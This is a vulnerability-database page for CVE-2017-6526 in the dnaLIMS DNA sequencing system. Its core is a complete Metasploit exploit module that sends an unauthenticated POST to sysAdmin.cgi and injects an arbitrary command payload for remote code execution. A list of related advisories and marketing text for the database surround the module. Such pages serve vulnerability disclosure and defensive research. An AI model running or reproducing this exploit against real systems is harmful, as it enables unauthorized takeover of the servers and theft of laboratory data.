Lucene search
K

dnaLIMS Code Execution / XSS / Traversal / Session Hijacking (CVE-2017-6526)

🗓️ 10 Apr 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 39 Views

dnaLIMS security advisory Mar 08, 2017, includes Code Execution, XSS, Traversal, Session Hijacking, and Improperly Protected Conten

Related
Code
ReporterTitlePublishedViews
Family
0day.today
dnaLIMS Code Execution / XSS / Traversal / Session Hijacking Vulnerabilities
10 Mar 201700:00
zdt
0day.today
dnaLIMS Directory Traversal Exploit
2 Apr 201700:00
zdt
0day.today
dnaLIMS Admin Module Command Execution Exploit
2 Apr 201700:00
zdt
ATTACKERKB
CVE-2017-6526
9 Mar 201700:00
attackerkb
ATTACKERKB
CVE-2017-6528
9 Mar 201700:00
attackerkb
ATTACKERKB
CVE-2017-6527
9 Mar 201700:00
attackerkb
ATTACKERKB
CVE-2017-6529
9 Mar 201700:00
attackerkb
Circl
CVE-2017-6526
29 May 201815:50
circl
Circl
CVE-2017-6527
29 May 201815:50
circl
Check Point Advisories
dnaTools dnaLIMS DNA Sequencer Command Injection (CVE-2017-6526)
7 Jul 201900:00
checkpoint_advisories
Rows per page

                                                require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'dnaLIMS Admin Module Command Execution',
      'Description'    => %q{
          This module utilizes an administrative module which allows for
       command execution.  This page is completely unprotected from any
       authentication when given a POST request.
      },
      'Author'         =>
        [
          'h00die <[email protected]>',  # Discovery, PoC
          'flakey_biscuit <[email protected]>' # Discovery, PoC
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2017-6526'],
          ['US-CERT-VU', '929263'],
          ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
        ],
      'Platform'       => %w( linux unix ),
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 8 2017'
      ))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
      ], self.class
    )
  end
 
  def check
    begin
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method'    => 'POST',
        'vars_post'  => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => 'perl -V'
        }
      )
      if res && res.body
        if /Summary of/ =~ res.body
          Exploit::CheckCode::Vulnerable
        else
          Exploit::CheckCode::Safe
        end
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
 
  def exploit
    begin
      vprint_status('Sending Exploit')
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method'    => 'POST',
        'vars_post'  => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => payload.encoded,
        }
      )
      vprint_good(res.body)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
 

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation